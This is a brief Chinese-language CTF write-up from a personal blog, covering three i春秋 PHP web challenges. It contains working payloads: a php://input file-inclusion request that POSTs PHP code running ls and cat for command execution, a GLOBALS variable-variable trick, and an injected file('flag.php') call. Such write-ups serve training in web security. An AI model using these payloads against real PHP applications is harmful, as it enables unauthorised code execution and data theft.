Hu3sky's blog

i春秋WP

Word count: 100 / Reading time: 1 min
2018/04/23 Share

WEB

文件包含

用php input流http://bdeb62721ac64af4910af04b7227c9b4b7b5845aabd245a3.game.ichunqiu.com/?path=php://input
post一个<?php echo`ls`?> 查看一下文件
文件名显示出来了
然后 <?php echo`cat 文件名`?>,我这抓了包才看到的flag

MISC1-web

因为a是$$a 所以直接想到全局变量
http://f6f6f38751224e36bad40fdbf63f76be51bd8b196a2c4a1f.game.ichunqiu.com/?hello=GLOBALS

MISC2-WEB

直接试了下。。。flag就出来了
http://da56a780d2414e9598505f22175d13c7a3d4e36d37e24a77.game.ichunqiu.com/?hello=file(%27flag.php%27)

CATALOG
  1. 1. WEB
    1. 1.1. 文件包含
    2. 1.2. MISC1-web
    3. 1.3. MISC2-WEB